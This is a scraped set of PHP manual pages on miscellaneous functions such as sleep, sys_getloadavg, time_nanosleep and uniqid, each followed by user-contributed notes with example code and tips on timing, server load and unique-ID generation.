    // set a keyed array of newline characters used to preserve line numbering
    $newlines = array("\n" => true, "\r" => true);

    $tokens = token_get_all($code);

    reset($tokens);

    $return = '';

    $token = current($tokens);

    while( $token ) {

        if( !is_array($token) )

            $return.= $token;

        elseif(    !isset($strip[ $token[0] ]) )

            $return.= $token[1];

        else {

            // return only the token's newline characters to preserve line numbering
            for( $i = 0, $token_length = strlen($token[1]); $i < $token_length; ++$i )
                if( isset($newlines[ $token[1][$i] ]) )
                    $return.= $token[1][$i];

        }

        $token = next($tokens);

    } // while more tokens

    return $return;

} // function

?>
gelamu at gmail dot com 10-Apr-2008 11:12
With this function You can compress Your PHP source code.

<?php

function compress_php_src($src) {
    // Whitespaces left and right from this signs can be ignored
    static $IW = array(
        T_CONCAT_EQUAL,             // .=
        T_DOUBLE_ARROW,             // =>
        T_BOOLEAN_AND,              // &&
        T_BOOLEAN_OR,               // ||
        T_IS_EQUAL,                 // ==
        T_IS_NOT_EQUAL,             // != or <>
        T_IS_SMALLER_OR_EQUAL,      // <=
        T_IS_GREATER_OR_EQUAL,      // >=
        T_INC,                      // ++
        T_DEC,                      // --
        T_PLUS_EQUAL,               // +=
        T_MINUS_EQUAL,              // -=
        T_MUL_EQUAL,                // *=
        T_DIV_EQUAL,                // /=
        T_IS_IDENTICAL,             // ===
        T_IS_NOT_IDENTICAL,         // !==
        T_DOUBLE_COLON,             // ::
        T_PAAMAYIM_NEKUDOTAYIM,     // ::
        T_OBJECT_OPERATOR,          // ->
        T_DOLLAR_OPEN_CURLY_BRACES, // ${
        T_AND_EQUAL,                // &=
        T_MOD_EQUAL,                // %=
        T_XOR_EQUAL,                // ^=
        T_OR_EQUAL,                 // |=
        T_SL,                       // <<
        T_SR,                       // >>
        T_SL_EQUAL,                 // <<=
        T_SR_EQUAL,                 // >>=
    );
    if(is_file($src)) {
        if(!$src = file_get_contents($src)) {
            return false;
        }
    }
    $tokens = token_get_all($src);

    $new = "";
    $c = sizeof($tokens);
    $iw = false; // ignore whitespace
    $ih = false; // in HEREDOC
    $ls = "";    // last sign
    $ot = null;  // open tag
    for($i = 0; $i < $c; $i++) {
        $token = $tokens[$i];
        if(is_array($token)) {
            list($tn, $ts) = $token; // tokens: number, string, line
            $tname = token_name($tn);
            if($tn == T_INLINE_HTML) {
                $new .= $ts;
                $iw = false;
            } else {
                if($tn == T_OPEN_TAG) {
                    if(strpos($ts, " ") || strpos($ts, "\n") || strpos($ts, "\t") || strpos($ts, "\r")) {
                        $ts = rtrim($ts);
                    }
                    $ts .= " ";
                    $new .= $ts;
                    $ot = T_OPEN_TAG;
                    $iw = true;
                } elseif($tn == T_OPEN_TAG_WITH_ECHO) {
                    $new .= $ts;
                    $ot = T_OPEN_TAG_WITH_ECHO;
                    $iw = true;
                } elseif($tn == T_CLOSE_TAG) {
                    if($ot == T_OPEN_TAG_WITH_ECHO) {
                        $new = rtrim($new, "; ");
                    } else {
                        $ts = " ".$ts;
                    }
                    $new .= $ts;
                    $ot = null;
                    $iw = false;
                } elseif(in_array($tn, $IW)) {
                    $new .= $ts;
                    $iw = true;
                } elseif($tn == T_CONSTANT_ENCAPSED_STRING
                       || $tn == T_ENCAPSED_AND_WHITESPACE)
                {
                    if($ts[0] == '"') {
                        $ts = addcslashes($ts, "\n\t\r");
                    }
                    $new .= $ts;
                    $iw = true;
                } elseif($tn == T_WHITESPACE) {
                    $nt = @$tokens[$i+1];
                    if(!$iw && (!is_string($nt) || $nt == '$') && !in_array($nt[0], $IW)) {
                        $new .= " ";
                    }
                    $iw = false;
                } elseif($tn == T_START_HEREDOC) {
                    $new .= "<<<S\n";
                    $iw = false;
                    $ih = true; // in HEREDOC
                } elseif($tn == T_END_HEREDOC) {
                    $new .= "S;";
                    $iw = true;
                    $ih = false; // in HEREDOC
                    for($j = $i+1; $j < $c; $j++) {
                        if(is_string($tokens[$j]) && $tokens[$j] == ";") {
                            $i = $j;
                            break;
                        } else if($tokens[$j][0] == T_CLOSE_TAG) {
                            break;
                        }
                    }
                } elseif($tn == T_COMMENT || $tn == T_DOC_COMMENT) {
                    $iw = true;
                } else {
                    if(!$ih) {
                        $ts = strtolower($ts);
                    }
                    $new .= $ts;
                    $iw = false;
                }
            }
            $ls = "";
        } else {
            if(($token != ";" && $token != ":") || $ls != $token) {
                $new .= $token;
                $ls = $token;
            }
            $iw = true;
        }
    }
    return $new;
}

?>

For example:
<?php

$src = <<<EOT
<?php
// some comment
for ( $i = 0; $i < 99; $i ++ ) {
   echo "i=${ i }\n";
   /* ... */
}
/** ... */
function abc() {
   return   "abc";
};

abc();
?>
<h1><?= "Some text " . str_repeat("_-x-_ ", 32);;; ?></h1>
EOT;
var_dump(compress_php_src($src));
?>

And the result is:
string(125) "<?php for(=0;<99;++){echo "i=\n";}function abc(){return "abc";};abc(); ?>
<h1><?="Some text ".str_repeat("_-x-_ ",32)?></h1>"
Jouni 03-Oct-2007 02:14
If you wish to just remove excess whitespace from a string, see the example "Strip whitespace" in the preg_replace documentation (http://www.php.net/manual/en/function.preg-replace.php).
flconseil at yahoo dot fr 08-Jul-2006 05:57
Beware that this function uses the output buffering mechanism.

If you give a 'stream wrapped' path as argument, anything echoed by the stream wrapper during this call (e.g. trace messages) won't be displayed to the screen but will be inserted in php_strip_whitespace's result.

If you execute this stripped code later, it will display the messages which should have been output during php_strip_whitespace's execution !


Alias of highlight_file

  • « php_strip_whitespace
  • sleep »
  • PHP Manual
  • Misc. Functions
  • Alias of highlight_file

show_source

(PHP 4, PHP 5)

show_source — Alias of highlight_file()

Description

This function is an alias of: highlight_file().

User Contributed Notes

edy at edy-b dot de 20-May-2007 12:49
Show the source of the current file:

<?php
    /* some code here */

    show_source(__FILE__);
?>


Delay execution

  • « show_source
  • sys_getloadavg »
  • PHP Manual
  • Misc. Functions
  • Delay execution

sleep

(PHP 4, PHP 5)

sleep — Delay execution

Description

int sleep ( int $seconds )

Delays the program execution for the given number of seconds.

Parameters

seconds

Halt time in seconds.

Return Values

Returns zero on success, or FALSE on error.

If the call was interrupted by a signal, sleep() returns a non-zero value. On Windows, this value will always be 192 (the value of the WAIT_IO_COMPLETION constant within the Windows API). On other platforms, the return value will be the number of seconds left to sleep.

Errors/Exceptions

If the specified number of seconds is negative, this function will generate a E_WARNING.

Changelog

Version | Description
5.3.4 | Before PHP 5.3.4, on Windows, sleep() always returns NULL when sleep has occurred, regardless of whether the sleep was interrupted or not.

Examples

Example #1 sleep() example

<?php

// current time
echo date('h:i:s') . "\n";

// sleep for 10 seconds
sleep(10);

// wake up !
echo date('h:i:s') . "\n";

?>

This example will output (after 10 seconds)

05:31:23
05:31:33

See Also

  • usleep() - Delay execution in microseconds
  • time_nanosleep() - Delay for a number of seconds and nanoseconds
  • time_sleep_until() - Make the script sleep until the specified time
  • set_time_limit() - Limits the maximum execution time

User Contributed Notes

ash b 13-Apr-2014 06:56
re: "mitigating the chances of a full bruit force attack by a limit of 30 lookups a minute."

Not really - the attacker could do 100 requests. Each request might take 2 seconds but it doesn't stop the number of requests done. You need to stop processing more than one request every 2 seconds rather than delay it by 2 seconds on each execution.
Anonymous 10-Mar-2014 03:35
If you are having issues with sleep() and usleep() not responding as you feel they should, take a look at session_write_close()

as noted by anonymous on comments;
"If the ajax function doesn't do session_write_close(), then your outer page will appear to hang, and opening other pages in new tabs will also stall."
LVT 22-Sep-2013 01:13
Another reason for not to abuse sleep( ) is that along with the maximum of 30 sql connections, a shared hosting environment usually limits the number of processes to 20, if your website has many users online and you put sleep( ) everywhere in the code, your server will throw a 508 error (resource limit reached) and will stop serving your website.
LVT 15-Sep-2013 07:12
Always close your SQL connection and free the memory before using sleep( ) or you will be needlessly holding a SQL connection for [xx] seconds, remember that a shared hosting environment only allows max 30 SQL connections at the same time.
joshmeister at gmail dot com 17-Oct-2012 07:51
Here is a simplified way to flush output to browser before completing sleep cycle.  Note the buffer must be "filled" with 4096 characters (bytes?) for ob_flush() to work before sleep() occurs.
<?php
 ob_implicit_flush(true);
 $buffer = str_repeat(" ", 4096);
 echo "see this immediately.<br>";
 echo $buffer;
 ob_flush();
 sleep(5);
 echo "some time has passed";
?>
barlow at fhtsolutions dot com 24-Sep-2011 03:33
You should put sleep into both the pass and fail branches, since an attacker can check whether the response is slow and use that as an indicator - cutting down the delay time. But a delay in both branches eliminates this possibility.
code {@} ashleyhunt [dot] co [dot] uk 30-Jul-2011 03:31
A really simple, but effective way of majorly slowing down bruit force attacks on wrong password attempts.

In my example below, if the end-user gets the password correct, they get to log in at full speed, as expected. For every incorrect password attempt, the users response is delayed by 2 seconds each time; mitigating the chances of a full bruit force attack by a limit of 30 lookups a minute.

I hope this very simple approach will help make your web applications that little bit more secure.

Ashley

<?php
public function handle_login() {
    if($uid = user::check_password($_REQUEST['email'], $_REQUEST['password'])) {
        return self::authenticate_user($uid);
    }
    else {
        // delay failed output by 2 seconds
        // to prevent bruit force attacks
        sleep(2);
        return self::login_failed();
    }
}
?>
soulhunter1987 at post dot ru 18-Aug-2010 09:49
Since sleep() can be interrupted by signals i've made a function which can also be interrupted, but will continue sleeping after the signal arrived (and possibly was handled by callback). It's very useful when you write daemons and need sleep() function to work as long as you 'ordered', but have an ability to accept signals during sleeping.

<?php
function my_sleep($seconds)
{
    $start = microtime(true);
    for ($i = 1; $i <= $seconds; $i ++) {
        @time_sleep_until($start + $i);
    }
}
?>
toddjt78 at msn dot com 10-May-2010 04:39
Simple function to report the microtime since last called or the microtime since first called.

<?php
function stopWatch($total = false,$reset = true){
    global $first_called;
    global $last_called;
    $now_time = microtime(true);
    if ($last_called === null) {
        $last_called = $now_time;
        $first_called = $now_time;
    }
    if ($total) {
        $time_diff = $now_time - $first_called;
    } else {
        $time_diff = $now_time - $last_called;
    }
    if ($reset)
        $last_called = $now_time;
    return $time_diff;
}
?>

$reset  - if true, resets the last_called value to now
$total - if true, returns the time since first called otherwise returns the time since last called
jimmy at powerzone dot dk 06-Mar-2010 05:26
Notice that sleep() delays execution for the current session, not just the script. Consider the following sample, where two computers invoke the same script from a browser, which doesn't do anything but sleep.

PC 1 [started 14:00:00]: script.php?sleep=10 // Will stop after 10 secs
PC 1 [started 14:00:03]: script.php?sleep=0 // Will stop after 7 secs

PC 2 [started 14:00:05]: script.php?sleep=0 // Will stop immediately

http://php.net/session_write_close may be used to address this problem.
mohd at Bahrain dot Bz 16-Dec-2009 10:12
I hope this code will help somebody to solve the problem of not being able to flush or output the buffer to the browser (I use IE7).
It may work for you with just [ echo str_repeat(".", 4096); ] and without even using ob_... and flush.

<?php
ob_start();

ob_implicit_flush(true);
//[ OR ] echo "..."; ob_flush(); flush();

set_time_limit(0);

function sleep_echo($secs) {
    $secs = (int) $secs;
    $buffer = str_repeat(".", 4096);
    //echo $buffer."\r\n<br />\r\n";
    for ($i=0; $i<$secs; $i++) {
        echo date("H:i:s", time())." (".($i+1).")"."\r\n<br />\r\n".$buffer."\r\n<br />\r\n";
        ob_flush();
        flush();
        sleep(1);
        //usleep(1000000);
    }
}

sleep_echo(30);

ob_end_flush();
?>
f dot schima at ccgmbh dot de 10-Nov-2009 03:48
Remember that sleep() means "Let PHP time to do some other stuff".
That means that sleep() can be interrupted by signals. That is important if you work with pcntl_signal() and friends.
Anonymous 08-Feb-2009 09:32
This will allow you to use negative values or valuer below 1 second.

<?php slaap(0.5); ?>

<?php
function slaap($seconds)
{
    $seconds = abs($seconds);
    if ($seconds < 1):
       usleep($seconds*1000000);
    else:
       sleep($seconds);
    endif;
}
?>
webseos at gmail dot com 27-Aug-2008 06:29
This is a critical thing to use time delay function as sleep() Because a beginner can find that this is not working and he/she will see that all output appearing at a time.

A good way to implement this is by using the function -  ob_implicit_flush() then you don't need to use flush() function explicitly.

A sample code :
<?php
ob_implicit_flush(true);
for($i=0;$i<5;$i++)
{
$dis=<<<DIS
<div style="width:200px; background-color:lime;border:1px; text-align:center;text-decoration:blink;">
$i
</div>
DIS;
echo $dis;

sleep(5);
//flush();
}
marpetr at gmail dot com 18-Mar-2008 08:41
Very useful to prevent password brute forcing! Simply add few seconds timeout to login script and the probability to guess the password decreases a lot!
linus at flowingcreativity dot net 08-Jul-2005 05:07
This may seem obvious, but I thought I would save someone from something that just confused me: you cannot use sleep() to sleep for fractions of a second. This:

<?php sleep(0.25) ?>

will not work as expected. The 0.25 is cast to an integer, so this is equivalent to sleep(0). To sleep for a quarter of a second, use:

<?php usleep(250000) ?>
MPHH 05-Jul-2003 09:33
Note: The set_time_limit() function and the configuration directive max_execution_time only affect the execution time of the script itself. Any time spent on activity that happens outside the execution of the script such as system calls using system(), the sleep() function, database queries, etc. is not included when determining the maximum time that the script has been running.
hartmut at six dot de 25-Aug-2000 03:38
it is a bad idea to use sleep() for delayed output effects as

1) you have to flush() output before you sleep

2) depending on your setup flush() will not work all the way to the browser as the web server might apply buffering of its own or the browser might not render output it thinks not to be complete

netscape for example will only display complete lines and will not show table parts until the </table> tag arrived

so use sleep if you have to wait  for events and don't want to burn  to much cycles, but don't use it for silly delayed output effects!


Gets system load average

  • « sleep
  • time_nanosleep »
  • PHP Manual
  • Misc. Functions
  • Gets system load average

sys_getloadavg

(PHP 5 >= 5.1.3)

sys_getloadavg — Gets system load average

Description

array sys_getloadavg ( void )

Returns three samples representing the average system load (the number of processes in the system run queue) over the last 1, 5 and 15 minutes, respectively.

Return Values

Returns an array with three samples (last 1, 5 and 15 minutes).

Examples

Example #1 A sys_getloadavg() example

<?php
$load = sys_getloadavg();
if ($load[0] > 80) {
    header('HTTP/1.1 503 Too busy, try again later');
    die('Server too busy. Please try again later.');
}
?>

Notes

Note: This function is not implemented on Windows platforms.

User Contributed Notes

kexianbin at diyism dot com 28-May-2014 07:35
Use this:
<?php
$loads=sys_getloadavg();
$core_nums=trim(shell_exec("grep -P '^physical id' /proc/cpuinfo|wc -l"));
$load=$loads[0]/$core_nums;
echo $load;
?>
vladvarna at gmail dot com 18-Jul-2012 11:51
You can emulate loadavg using this. Can also be used to get iowait

<?php
   function ProcStats()
   {
       $fp=fopen("/proc/stat","r");
       if(false===$fp)
               return false;
       $a=explode(' ',fgets($fp));
       array_shift($a); //get rid of 'cpu'
       while(!$a[0])
           array_shift($a); //get rid of ' '
       var_dump($a);
       fclose($fp);
       return $a;
   }

   $a=ProcStats();
   sleep(5);
   $b=ProcStats();

   $total=array_sum($b)-array_sum($a);

   $loadavg = round(100* (($b[0]+$b[1]+$b[2]) - ($a[0]+$a[1]+$a[2])) / $total, 2); // user+nice+system
   $iowait= round(100* ($b[4] - $a[4])/$total,2);

?>
rick at rctonline dot nl 24-Jan-2012 09:57
Here is another one that also works on windows. Note that this method is not fast, so be careful in the number of calls to this function.

<?php
function get_server_load() {

        if (stristr(PHP_OS, 'win')) {

            $wmi = new COM("Winmgmts://");
            $server = $wmi->execquery("SELECT LoadPercentage FROM Win32_Processor");

            $cpu_num = 0;
            $load_total = 0;

            foreach($server as $cpu){
                $cpu_num++;
                $load_total += $cpu->loadpercentage;
            }

            $load = round($load_total/$cpu_num);

        } else {

            $sys_load = sys_getloadavg();
            $load = $sys_load[0];

        }

        return (int) $load;

    }
?>
828586 at gmail dot com 12-Jun-2010 04:43
equivalent for windows
<?php
ob_start();
passthru('typeperf -sc 1 "\processor(_total)\% processor time"',$status);
$content = ob_get_contents();
ob_end_clean();
if ($status === 0) {
    if (preg_match("/\,\"([0-9]+\.[0-9]+)\"/",$content,$load)) {
        if ($load[1] > get_config('busy_error')) {
            header('HTTP/1.1 503 Too busy, try again later');
            die('Server too busy. Please try again later.');
        }
    }
}
?>
Anonymous 19-Nov-2009 09:14
To get just current load avg, you can do :

<?php
$output = shell_exec('cat /proc/loadavg');
$loadavg = substr($output,0,strpos($output," "));
?>
scott at corelevel dot com 27-Nov-2006 11:47
I was having a problem with a large script I need to run - was a loop through about 50,000 records and downloading several pictures for a bunch of them, and updating the database.

the problem came as I started getting visitors to my site, the server would get behind, run out of memory, iowait skyrockets, mysql slows down... was a total downhill spiral.

Use this to fix it.

$load = sys_getloadavg();
$sleep=5;
$maxload=2;
if ($load[0] > $maxload) {
       sleep($sleep);
    echo "Busy server - sleep $sleep seconds<br>";
}

I have to play with the load and the sleep number to find what worked for my script, but now my server does not bog at all.
surfchen at gmail dot com 06-Jul-2006 06:22
the codes below will provide this function for order versions of PHP.
if (!function_exists('sys_getloadavg')) {
    function sys_getloadavg()
    {
        $loadavg_file = '/proc/loadavg';
        if (file_exists($loadavg_file)) {
            return explode(chr(32),file_get_contents($loadavg_file));
        }
        return array(0,0,0);
    }
}
tom pittlik 03-Mar-2006 11:36
The code below mimics the output of sys_getloadavg(). You may have to tweak the way the substring is captured for different distros.

<?

function sys_getloadavg_hack()
{
    $str = substr(strrchr(shell_exec("uptime"),":"),1);
    $avs = array_map("trim",explode(",",$str));

    return $avs;
}

print_r(sys_getloadavg_hack());

// Array
// (
//     [0] => 6.24
//     [1] => 4.92
//     [2] => 3.99
// )

?>

This function is a neat way of running low priority or non-essential cron jobs on a busy server - if the load is high, don't continue with the task (and try again in a few minutes time).


Delay for a number of seconds and nanoseconds

  • « sys_getloadavg
  • time_sleep_until »
  • PHP Manual
  • Misc. Functions
  • Delay for a number of seconds and nanoseconds

time_nanosleep

(PHP 5)

time_nanosleep — Delay for a number of seconds and nanoseconds

Description

mixed time_nanosleep ( int $seconds , int $nanoseconds )

Delays program execution for the given number of seconds and nanoseconds.

Parameters

seconds

Must be a non-negative integer.

nanoseconds

Must be a non-negative integer less than 1 billion.

Return Values

Returns TRUE on success or FALSE on failure.

If the delay was interrupted by a signal, an associative array will be returned with the components:

  • seconds - number of seconds remaining in the delay
  • nanoseconds - number of nanoseconds remaining in the delay

Changelog

Version | Description
5.3.0 | This function is now available on Windows platforms.

Examples

Example #1 time_nanosleep() example

<?php
// Careful! This won't work as expected if an array is returned
if (time_nanosleep(0, 500000000)) {
    echo "Slept for half a second.\n";
}

// This is better:
if (time_nanosleep(0, 500000000) === true) {
    echo "Slept for half a second.\n";
}

// And this is the best:
$nano = time_nanosleep(2, 100000);

if ($nano === true) {
    echo "Slept for 2 seconds, 100 microseconds.\n";
} elseif ($nano === false) {
    echo "Sleeping failed.\n";
} elseif (is_array($nano)) {
    $seconds = $nano['seconds'];
    $nanoseconds = $nano['nanoseconds'];
    echo "Interrupted by a signal.\n";
    echo "Time remaining: $seconds seconds, $nanoseconds nanoseconds.";
}
?>

See Also

  • sleep() - Delay execution
  • usleep() - Delay execution in microseconds
  • time_sleep_until() - Make the script sleep until the specified time
  • set_time_limit() - Limits the maximum execution time

User Contributed Notes

b dot andrew at shaw dot ca 05-Jul-2008 06:10
A response to the note below:

Your function is also useless, as the WinNT 32 kernel only functions at a minimum of about 10+ ms (1,000 us), rendering usleep() useless, because usleep uses the C function which is provided by the system (in this case, kernel32.dll).

You'll want to use a function that does not rely on the kernel, but rather something made for precise measurement:

<?php
function usleep_win( $micro_seconds )
{
    if ( @function_exists( "socket_create" ) && @function_exists( "socket_select" ) )
    {
        $false = NULL;
        $socket = array( socket_create( AF_INET, SOCK_RAW, $false ) );
        socket_select( $false, $false, $socket, 0, $micro_seconds );
        return true;
    }
    else
    {
        return false;
    }
}
?>

This function will allow to you sleep for a specified microsecond, although I have measured it to be off by ~5 us.

Again, most of this depends on the hardware in your system. If you _REALLY_ need to be precise to < 10 us, you shouldn't be using WinNT anyways!
fantasysportswire at yahoo dot com 19-Dec-2006 12:27
Just glancing at this - and the note from over a year ago with a implementation for windows.. with 5.0.0 and higher it would be simplier to just do something like......

<?php

if (!function_exists('time_nanosleep')) {

function time_nanosleep($seconds, $nanoseconds) {

sleep($seconds);
usleep(round($nanoseconds/100));

return true;

}

}

?>

....off the top of my head - obviously simple enough there should be no mistakes.. but those are the ones that always seem to get ya :( .....
anybody (a) emuxperts.net 22-Aug-2006 01:03
Documentation states that "seconds" must be positive. This is not correct, 0 is possible.

Rather, "seconds" must be non-negative.
m at kufi dot net 13-Aug-2005 11:03
You should take into account, if you use the function replacement down here, the CPU will be in use of 99% for the time of execution...

(A little bit better in this situation is to let the 'full seconds' go by a normal sleep command (makes the thread sleep!, and uses minimum cpu))

<?php
    //THIS IS THE FUNCTION WE ARE TALKIN ABOUT
    function timeWait($microtime)
    {
//optimizations added by me [start]
//sleep the full seconds
sleep(intval($microtime));
//set the microtime to only resleep the last part of the nanos
$microtime = $microtime - intval($microtime);
//optimizations added by me [end]

        $timeLimit = $microtime + array_sum(explode(" ",microtime()));
        while(array_sum(explode(" ",microtime())) < $timeLimit)
        {/*DO NOTHING*/}
        return(true);
    }

    //THIS IS HOW WE CAN USE IT
    echo "Process started at " . date("H:i:s") . " and " . current(explode(" ",microtime())) . " nanoseconds.<br>";
    timeWait(5.5); //With this call the system will wait 5 seconds and a half. You can use either integer or float.
    echo "Process completed at " . date("H:i:s") . " and " . current(explode(" ",microtime())) . " nanoseconds.";
 ?>
tecnomaniac at ig dot com dot br 27-Jul-2005 12:04
This is an alternative function to sleep_nanosecond that you can use with PHP versions below PHP 5.0. It is not very accurate if we talk about nanoseconds but the results are satisfatory. Enjoy!

<?php
    //THIS IS THE FUNCTION WE ARE TALKIN ABOUT
    function timeWait($microtime)
    {
        $timeLimit = $microtime + array_sum(explode(" ",microtime()));
        while(array_sum(explode(" ",microtime())) < $timeLimit)
        {/*DO NOTHING*/}
        return(true);
    }

    //THIS IS HOW WE CAN USE IT
    echo "Process started at " . date("H:i:s") . " and " . current(explode(" ",microtime())) . " nanoseconds.<br>";
    timeWait(5.5); //With this call the system will wait 5 seconds and a half. You can use either integer or float.
    echo "Process completed at " . date("H:i:s") . " and " . current(explode(" ",microtime())) . " nanoseconds.";
?>


Make the script sleep until the specified time

  • « time_nanosleep
  • uniqid »
  • PHP Manual
  • Misc. Functions
  • Make the script sleep until the specified time

time_sleep_until

(PHP 5 >= 5.1.0)

time_sleep_until — Make the script sleep until the specified time

Description

bool time_sleep_until ( float $timestamp )

Makes the script sleep until the specified timestamp.

Parameters

timestamp

The timestamp when the script should wake.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.3.0 | This function is now available on Windows platforms.

Errors/Exceptions

If the specified timestamp is in the past, this function will generate a E_WARNING.

Examples

Example #1 A time_sleep_until() example

<?php

//returns false and generates a warning
var_dump(time_sleep_until(time()-1));

// may only work on faster computers, will sleep up to 0.2 seconds
var_dump(time_sleep_until(microtime(true)+0.2));

?>

Notes

Note: All signals will be delivered after the script wakes up.

See Also

  • sleep() - Delay execution
  • usleep() - Delay execution in microseconds
  • time_nanosleep() - Delay for a number of seconds and nanoseconds
  • set_time_limit() - Limits the maximum execution time

User Contributed Notes

rowan dot collins at cwtdigital dot com 30-May-2012 07:42
Not realising that this function existed, I wrote something similar, but it has the additional facility to specify a minimum pause even if the target time has already been reached, for instance in a processor-intensive loop.

It's in seconds rather than microseconds (it's intended for heavy-duty CLI scripts), but that could easily be changed by using microtime(true) and usleep if greater granularity was required.

<?php
    /**
     * Pause processing until the specified time, to avoid hammering a DB or service
     *
     * @param int $target_time Timestamp
     * @param int $min_sleep Always sleep for a minimum number of seconds,
     *    even if the target timestamp has already passed.
     *     Default 0, meaning only sleep until the target timestamp is reached.
     *
     * @example <code>
         while ( ! $finished )
         {
             $minimum_start_of_next_loop = time() + $min_secs_per_loop;

             # DO STUFF THAT MAY OR MAY NOT TAKE VERY LONG

             sleep_until( $minimum_start_of_next_loop, $min_pause_between_loops );
         }
     </code>
     */
    function sleep_until($target_time, $min_sleep = 0)
    {
        $time_now = time();

        $time_to_target = $target_time - $time_now;

        // If we've already reached the target time, that's fine
        if ( $time_to_target <= $min_sleep )
        {
            // If required, sleep for a bit anyway
            sleep( $min_sleep );
        }
        else
        {
            // Sleep for the number of seconds until the target time
            sleep( $time_to_target );
        }
    }
?>
purdue at nc dot rr dot com 05-May-2011 08:04
At least on my Windows machine, the time_sleep_until function appears to calculate the number of microseconds between now and the sleep-until timestamp, and it appears to use unsigned 32-bit math in this calculation.  This roundoff leads to a maximum sleep time of just under 4295 seconds (1 hour, 11 minutes, 35 seconds).  To get longer sleep times, while still using time_sleep_until to minimize processor overhead, the following loop may be some help to you:

<?php

$sleepuntil = strtotime("tuesday 3pm");

while (time() < $sleepuntil)
   time_sleep_until($sleepuntil);

// proceed with dated processing

?>

Of course, one could use something like "cron" instead, to avoid the script doing the extended sleep.  Also note that time_nanosleep appears to do similar math, but it is somewhat more intuitive that the seconds parameter has an upper limit on what it can be.  Still, both functions might report a warning when waking up prematurely due to roundoff.
roberto at spadim dot com dot br 16-Dec-2006 04:05
better implementation
<?php
if (!function_exists('time_sleep_until')) {
   function time_sleep_until($future) {
       if ($future < time()) {
           trigger_error("Time in past", E_USER_WARNING);
           return false;
       }

       usleep(($future - microtime(1))*1000000);
       return true;
   }
}
?>


Generate a unique ID

  • « time_sleep_until
  • unpack »
  • PHP Manual
  • Misc. Functions
  • Generate a unique ID

uniqid

(PHP 4, PHP 5)

uniqid — Generate a unique ID

Description

string uniqid ([ string $prefix = "" [, bool $more_entropy = false ]] )

Gets a prefixed unique identifier based on the current time in microseconds.

Warning

This function does not create random nor unpredictable strings. This function must not be used for security purposes. Use a cryptographically secure random function/generator and cryptographically secure hash functions to create unpredictable secure IDs.

Parameters

prefix

Can be useful, for instance, if you generate identifiers simultaneously on several hosts that might happen to generate the identifier at the same microsecond.

With an empty prefix, the returned string will be 13 characters long. If more_entropy is TRUE, it will be 23 characters.

more_entropy

If set to TRUE, uniqid() will add additional entropy (using the combined linear congruential generator) at the end of the return value, which increases the likelihood that the result will be unique.

Return Values

Returns the unique identifier, as a string.

Examples

Example #1 uniqid() Example

<?php
/* A uniqid, like: 4b3403665fea6 */
printf("uniqid(): %s\r\n", uniqid());

/* We can also prefix the uniqid, this the same as
 * doing:
 *
 * $uniqid = $prefix . uniqid();
 * $uniqid = uniqid($prefix);
 */
printf("uniqid('php_'): %s\r\n", uniqid('php_'));

/* We can also activate the more_entropy parameter, which is
 * required on some systems, like Cygwin. This makes uniqid()
 * produce a value like: 4b340550242239.64159797
 */
printf("uniqid('', true): %s\r\n", uniqid('', true));
?>

Notes

Caution

This function does not generate cryptographically secure tokens, in fact without being passed any additional parameters the return value is little different from microtime(). If you need to generate cryptographically secure tokens use openssl_random_pseudo_bytes().

Note:

Under Cygwin, the more_entropy must be set to TRUE for this function to work.

User Contributed Notes

pe_ank at peanksoft dot com (Hengky Gumilar) 13-Mar-2014 02:43
I guess, this is not a bugs, just a note for someone newbie like me,
i've got problem on uploading image, i tested on local server, it works fine but when i upload on my hosting site , the scripts failed (i use shared hosting, so i' m helpless), this is a part of my scripts:

$ext=$this->_fuphandler->extractExtension($data);
        $strsha=sha1($this->_fuphandler->extractFilename($data));
        $r=sprintf($pathToRoot.$dest.'%s.%s',$strsha,$ext);    // filename builder
        $rawsrc = $data['tmp_name'];
        if(!move_uploaded_file($rawsrc,$r))
        {....}
it should work,  it did on my uniform server, but it didn't on my hosting so i spend many hours on trying, then i try  to change the  $strsha=uniqid();
and it works...
i know it's just a silly thing, ...hehehe, beside i'm just a newbie, but probably will help someone who has some problem like me.
team at researchbib dot com 10-Jan-2014 09:53
The following is one example to get a random string class.

/**
 * Description of RandomString
 *
 * @package
 */
class RandomString
{

    /**
     *
     * @param int $length
     * @return string
     */
    static public function getRandom($length)
    {
        $randomData = base64_encode(
                file_get_contents('/dev/urandom', false, null, 0, $length) . uniqid(mt_rand(), true)
        );
        return substr(strtr($randomData, array('/' => '', '=' => '', '+' => '')), 0, $length);
    }

}
ciantic at NOSPAM dot oksidi dot com 06-Dec-2013 12:34
If you are storing the value to database it might be more efficient to use more letters than in hexadecimal, for me I decided 0-9a-z is good enough.

Notice also that many databases are case insensitive by default so using capitals maybe unwise anyway:

<?php

function uniqid_base36($more_entropy=false) {
    $s = uniqid('', $more_entropy);
    if (!$more_entropy)
        return base_convert($s, 16, 36);

    $hex = substr($s, 0, 13);
    $dec = $s[13] . substr($s, 15); // skip the dot
    return base_convert($hex, 16, 36) . base_convert($dec, 10, 36);
}

echo uniqid_base36() . "\n"; // ﻿eb98xzzhq7
echo uniqid_base36(true) . "\n"; // eb98xzzhr8dervre

?>

String length may vary with this method.
Anonymous 23-Nov-2012 03:52
I wouldn't use:
$prefix = exec("hostname");
- since it's CPU-expensive.

Instead use php_uname('n') if you have many visitors.
Anonymous 16-Aug-2012 11:26
If you're on a Windows system, and you wan't the prefix to be the computer name (and not only localhost), you can invoke the exec function to get it.

Then your unique id should be :

<?php
$prefix = exec("hostname");
echo uniqid($prefix, true);
?>

Regards
redtraider at gmail dot com 14-Feb-2012 09:37
I use this function to generate microsoft-compatible GUID's.

<?php
 public function create_guid($namespace = '') {
    static $guid = '';
    $uid = uniqid("", true);
    $data = $namespace;
    $data .= $_SERVER['REQUEST_TIME'];
    $data .= $_SERVER['HTTP_USER_AGENT'];
    $data .= $_SERVER['LOCAL_ADDR'];
    $data .= $_SERVER['LOCAL_PORT'];
    $data .= $_SERVER['REMOTE_ADDR'];
    $data .= $_SERVER['REMOTE_PORT'];
    $hash = strtoupper(hash('ripemd128', $uid . $guid . md5($data)));
    $guid = '{' .
            substr($hash,  0,  8) .
            '-' .
            substr($hash,  8,  4) .
            '-' .
            substr($hash, 12,  4) .
            '-' .
            substr($hash, 16,  4) .
            '-' .
            substr($hash, 20, 12) .
            '}';
    return $guid;
  }
?>
tom 17-Jun-2011 09:40
mt_rand() features in a lot of comments here. It is a good PRNG for Monte Carlo simulations, not for anything related to security. Wikipedia's page on cryptographically-secure PRNGs explains. If you want it to be hard for an attacker to guess or predict a "random" UUID, try using /dev/random instead.

<?php
$r = unpack('v*', fread(fopen('/dev/random', 'r'),16));
